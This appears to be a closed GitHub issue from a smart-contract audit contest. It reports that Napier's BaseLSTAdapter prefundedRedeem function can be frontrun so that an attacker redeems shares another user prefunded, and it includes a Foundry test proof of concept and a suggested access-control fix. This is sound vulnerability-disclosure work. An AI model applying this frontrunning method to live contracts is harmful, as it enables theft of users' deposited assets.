search

sherlock-audit / 2024-01-napier-judging

9 stars 6 forks source link

st0yanov - Shares could be lost and assets stolen with prefunded redemptions to children of `BaseLSTAdapter` #37

Closed sherlock-admin closed 7 months ago

sherlock-admin commented 7 months ago

st0yanov

medium

Shares could be lost and assets stolen with prefunded redemptions to children of BaseLSTAdapter

Summary

Transfers of target token (adapter shares) to BaseLSTAdapter's child contracts (StEtherAdapter, SFrxETHAdapter) could be lost and underlying assets could be stolen by an arbitrary sender who invokes the prefundedRedeem function.

Vulnerability Detail

The design of the prefundedRedeem function implies that the caller should first transfer some amount of the target token (shares) and after that call the prefundedRedeem function within the same transaction, similarly to how it is done in the Tranche contract:

However if the prefundedRedeem function is not invoked within the same transaction, it could be either called by another user or frontrun by an attacker. This way the attacker will steal the underlying assets in the adapter contract, as there aren't any redemption ownership checks or accounting present in the prefundedRedeem function.

https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/BaseLSTAdapter.sol#L146-L169

Impact

Users could lose their shares in the adapter and not receive their underlying assets (WETH) in return.

Code Snippet

https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/BaseLSTAdapter.sol#L146-L169

PoC

Add the following test in the napier-v1/test/unit/adapters/BaseTestLSTAdapter.t.sol test and run it by using:

forge test -vvv --match-test testPrefundedRedeem_WhenUserDepositsSharesInSeparateTransaction_ThenUserGetsFrontrunByAttackerAndLosesFunds
    function testPrefundedRedeem_WhenUserDepositsSharesInSeparateTransaction_ThenUserGetsFrontrunByAttackerAndLosesFunds()
        public
        virtual
    {
        // GIVEN
        _storeBufferEth(1 ether);

        deal(address(target), address(user), 1 ether, true);
        assertEq(target.balanceOf(address(user)), 1 ether);

        address attacker = makeAddr("attacker");
        assertEq(target.balanceOf(address(attacker)), 0);

        // WHEN
        vm.startPrank(user);
        target.transfer(address(adapter), 1 ether);
        vm.stopPrank();

        assertEq(target.balanceOf(address(user)), 0);
        assertEq(target.balanceOf(address(adapter)), 1 ether);

        // THEN
        vm.startPrank(attacker);
        // The user's call to adapter's `prefundedRedeem` function is actually frontrun by an attacker
        (uint256 wethWithdrawn, uint256 sharesRedeemed) = adapter.prefundedRedeem(attacker);
        vm.stopPrank();

        assertEq(sharesRedeemed, 1 ether);
        assertEq(wethWithdrawn, underlying.balanceOf(attacker));
        assertTrue(wethWithdrawn > 0);
        assertEq(underlying.balanceOf(user), 0); // User doesn't receive any WETH and thus loses deposited assets.
    }

Tool used

Manual Review

Recommendation

If the BaseLSTAdapter and its children (StEtherAdapter, SFrxETHAdapter) is indeed expected to be used only by the Tranche contract, make the prefundedRedeem callable only by the Tranche contract via a modifier e.g.:

    function prefundedRedeem(address recipient) external virtual onlyTranche returns (uint256, uint256) {

Duplicate of #36